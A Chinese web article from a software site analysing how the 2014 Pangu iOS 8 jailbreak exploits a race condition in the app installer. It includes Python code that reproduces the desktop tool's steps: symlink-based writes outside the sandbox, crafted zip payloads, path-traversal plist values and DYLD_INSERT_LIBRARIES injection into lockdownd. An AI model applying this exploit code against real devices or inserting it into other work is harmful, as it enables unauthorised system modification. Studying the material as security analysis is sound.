文章导航PC6首页软件下载单机游戏安卓资源苹果资源

pc软件新闻网络操作系统办公工具编程服务器软件评测

安卓新闻资讯应用教程刷机教程安卓游戏攻略tv资讯深度阅读综合安卓评测

苹果ios资讯苹果手机越狱备份教程美化教程ios软件教程mac教程

单机游戏角色扮演即时战略动作射击棋牌游戏体育竞技模拟经营其它游戏游戏工具

网游cf活动dnf活动lol周免英雄lol礼包

手游最新动态手游评测手游活动新游预告手游问答

您的位置:首页iOS资讯iphone越狱 → 盘古越狱原理分析(看清它如何越狱的!)

盘古越狱原理分析(看清它如何越狱的!)

时间:2014/10/27 9:43:47来源:pc6整理作者:佚名我要评论(0)

最近的盘古团队出了ios8.X的越狱工具,无疑是备受国人瞩目的热点~
好的,那么问题来了,盘古工具究竟是怎么使用漏洞进行越狱的呢?

盘古在用户空间主要利用了iOS安装程序的一个漏洞,这里先列出安装一个应用的主要过程:

 
整个安装过程分为12个阶段,上图只是列出了起点、终点还是对盘古越狱来说比较重要的阶段。大家注意上图红线所示的时间区间,在这个区间内如果在“Staging Directory”中创建一个符号链接指向沙盒之外,就可以利用解压程序向系统目录写入文件。同时也可以通过控制压缩包中的文件列表,在起始处放一个大文件,从而在解压过程中创建一个符号链接。这是在盘古在安装过程中利用的主要漏洞,后面介绍的盘古在用户空间的行为基本都是围绕这个漏洞。
主要的组件
盘古主要由四部分组成,:
1、桌面程序:提供资源,控制越狱流程。
2、com.pangu.ipa1.ipa:Socket Server,与桌面程序配合制造竞态条件。
3、pangu.dylib,Socket Server,利用内核漏洞安装Untecher,Cydia等。
4、pangu.tar,Untecher
这里主要涉及的是前两个组件,及第三个组件中用户空间相关的部分。
工作流程
说明:为了验证自己的分析是正确的,用Python重新实现了盘古桌面程序的功能,利用盘古的Payload可以实现越狱,下面会在主要阶段给出相应示例代码。
阶段一:安装辅助程序,获取相关资源
1、安装com.pangu.ipa1.ipa

複製代碼

def install_pangu():
    lockdown = LockdownClient()
    afc = AFCClient(lockdown)
    mci = lockdown.startService(\\"com.apple.mobile.installation_proxy\\")

    file_name = \\"com.pangu.ipa1.ipa\\"
    afc.set_file_contents(\\"/PublicStaging/\\" + file_name, open(\\"payload/\\" + file_name,\\"rb\\").read())
    mci.sendPlist({\\"Command\\":\\"Install\\", \\"PackagePath\\": \\"/PublicStaging/\\" + file_name})
    while True:
        status =  mci.recvPlist()
        if not status:
            break
        completion = status.get(\\"PercentComplete\\")
        if completion:
            print \\"Installing, %s: %s %% Complete\\" % (\\"com.pangu.ipa1.ipa\\", status[\\"PercentComplete\\"])
        if status.get(\\"Status\\") == \\"Complete\\":
            print \\"Installation %s\n\\" % status[\\"Status\\"]
            break
    mci.close()
    afc.stop_session()
    lockdown.stop_session()

首先利用AFC服务将IPA传到设备上,然后利用 Installation Proxy 安装应用。
2、获取Cache

複製代碼

def download_caches():
    fc = FileRelayClient()
    data = fc.request_sources([\\"Caches\\"])
    fc.stop_session()
    if data:
        file_path = \\"./payload/caches.gz\\"
        output_path = \\"./payload/caches\\"
        open(file_path,\\"wb\\").write(data)
        print  \\"Data saved to:  %s \\" % file_path
        with open(file_path, \\"r\\") as f:
            gz = gzip.GzipFile(mode=\\"rb\\", fileobj=f)
            cpio = CpioArchive(fileobj=BytesIO(gz.read()))
            cpio.extract_files(files=None,outpath=output_path)
    else:
        print \\"Fail to get caches\\"
        raise Exception(\\"Fail to get caches\\")

调用 FileRelay 服务,获取Cache,主要是从中拿到com.apple.mobile.installation.plist
3、修改 com.apple.mobile.installation.plist修改是针对盘古程序的,具体修改如下:

複製代碼

CFBundleExecutable = \\"../../../../../../usr/libexec/lockdownd\\";
EnvironmentVariables = { DYLD_INSERT_LIBRARIES = \\"/private/var/mobile/Media/Pangu-Install/pangu.dylib\\"; };


4、修改盘古程序的Info.plist

複製代碼

CFBundleExecutable = \\"../../../../../../usr/libexec/lockdownd\\";


5、构造applicationState.plist

複製代碼

{ \\"com.pangu.ipa1\\" = { SBApplicationAutoLaunchForVoIP = :true; }; }


这个会造成盘古程序在设备重启后自动运行。
6、com.apple.LaunchServices-056.csstore 主要是为了更新程序列表
7、com.apple.backboardd.plist 禁用“看门狗”
基于上述文件盘古会构造三个Payload。

複製代碼

def generate_upgrade_bundle1():
    guid_str = get_guid()
    with ZipFile(\\"./payload/upgrade1.zip\\", \\"w\\") as payload:
        payload.write(\\"./payload/upgrade_bundle/bigfile\\", \\"/tmp/bigfile\\")
        payload.write(\\"./payload/upgrade_bundle/com.apple.LaunchServices-056.csstore\\", \\"/mobile/Library/Caches/com.apple.LaunchServices-056.csstore\\")
        payload.write(\\"./payload/upgrade_bundle/com.apple.mobile.installation.plist\\", \\"/mobile/Library/Caches/com.apple.mobile.installation.plist\\")
        payload.write(\\"./payload/upgrade_bundle/applicationState.plist\\", \\"/mobile/Library/BackBoard/applicationState.plist\\")
        payload.write(\\"./payload/upgrade_bundle/com.apple.backboardd.plist\\", \\"/mobile/Library/Preferences/com.apple.backboardd.plist\\")
        payload.write(\\"./payload/upgrade_bundle/Info.plist\\", \\"/mobile/Applications/\\" + guid_str + \\"/ipa1.app/Info.plist\\")

def generate_upgrade_bundle2():
    # os.remove(\\"./payload/upgrade2.zip\\")
    guid_str = get_guid()
    with ZipFile(\\"./payload/upgrade2.zip\\", \\"w\\") as payload:
        payload.write(\\"./payload/upgrade_bundle/bigfile\\", \\"/tmp/bigfile\\")
        payload.write(\\"./payload/upgrade_bundle/com.apple.mobile.installation.plist\\", \\"/mobile/Library/Caches/com.apple.mobile.installation.plist\\")

def generate_upgrade_bundle3():
    # os.remove(\\"./payload/upgrade3.zip\\")
    guid_str = get_guid()
    with ZipFile(\\"./payload/upgrade3.zip\\", \\"w\\") as payload:
        payload.write(\\"./payload/upgrade_bundle/bigfile\\", \\"/tmp/bigfile\\")
payload.write(\\"./payload/upgrade_bundle/com.apple.LaunchServices-056.csstore\\", \\"/mobile/Library/Caches/com.apple.LaunchServices-056.csstore\\")


这个阶段会知道三个程序升级包,供下一阶段使用。
另外,可以简单的理解为:执行完这个阶段就对应着盘古提示用户在手机上启动程序。
阶段二:利用竞态条件安装文件,构造环境执行pangu.dylib
当用户在手机上启动程序后,手机上的App会启动一个Socket Server,等待桌面程序的握手,这个握手的暗语挺有意思。桌面向App发送:PING,App收到后回应桌面:PONG。在握手完成后,盘古开始利用静态条件将如上构造的三个Payload安装到手机上。
具体过程为首先利用安装服务安装升级包,在安装的过程中桌面向App发送starthook,具体hook的内容可以通过调试App确定是创建一个符号链接:

複製代碼

\\"/private/var/tmp/install_staging.eP7ZzJ/foo_extracted\\" ---> \\"/var/\\"


其中后缀部分会因为每次安装而不同。
示例代码:

複製代碼

def fire_race_condition(lockdown, file_name):
    mci = lockdown.startService(\\"com.apple.mobile.installation_proxy\\")
    sock = get_sock()
    print \\"----->PING\\"
    sock.send(\\"PING\\")
    msg = sock.recv(4)
    if msg == \\"PONG\\":
        print \\"<-----PONG\n\\"
    upgrade_pangu(mci, file_name)
    print \\"----->starthook\\"
    sock.send(\\"starthook\\")
    msg = sock.recv(4)
    if msg == \\"succ\\":
        print \\"<-----success\n\\"
    else:
        print \\"<-----fail\n\\"


在完成安装三个Payload之后,盘古会上传文件到Media中的 Pangu-Install目录:
    Cydia.tar
    packagelist.tar
    pangu.dylib
    pangu.tar
    pangu_ex.tar
至此,盘古基本完成了用户空间的行为,在界面上的反应为:盘古会第一次重启设备。
阶段三:利用漏洞安装Untecher,Cydia
设备重启完成后,pangu.dylib会被加载,并启动一个 Socket Server。桌面程序在检测到设备加载后会向 pangu.dylib 发送:55AA,pangu.dylib 接到 55AA后开始安装Untecher、Cydia。
阶段四:清理
在pangu.dylib完成工作后,向桌面程序发送:AA55,桌面程序开始清理临时文件,删除Provisional文件,恢复设备时间等操作。在完成清理操作后,桌面程序会第二次重启设备,至此越狱完成。

相关视频

    没有数据

相关阅读 PP盘古越狱工具安装失败怎么办 PP盘古越狱工具安装失败解决方法PP盘古越狱工具怎么用 iOS9.3.3PP盘古越狱助手怎么越狱图文教程iOS9越狱工具出来了吗? 盘古iOS9越狱工具V1.1.0发布iOS8.0-ios8.1.x完美越狱教程ios9.3.3越狱盘古越狱工具被删除了怎么办 ios9.3.3越狱盘古越狱需盘古越狱iOS8 Mac发布iOS8.1.1封堵盘古越狱漏洞纸人游戏剧情介绍 纸人剧情分析

文章评论
发表评论

热门文章 PP盘古越狱工具怎么用iOS9.3.3越狱教程 iOSiOS10能越狱吗 iOS10怎爱思助手刷机教程

最新文章 unc0ver越狱教程 unc0ios11怎么越狱 ios11越 iOS10.1能越狱吗 iOS10.1怎么越狱叉叉越狱助手怎么越狱 叉叉越狱助手iOS9.3.PP盘古越狱工具怎么用 iOS9.3.3PP盘古越狱助iOS9.3.3越狱教程 iOS9.2-9.3.3完美越狱教程

人气排行 iPhone4S插件推荐,最完整的iPhone4越狱后插iphone越狱后cydia必装软件大全越狱有什么用?越狱的12个好处ios5.0.1完美越狱后Cydia必装部分插件教程爱思助手刷机教程iphone4s越狱后怎么恢复failed to fetch是什么意思 failed to fetciphone4s越狱后怎么装软件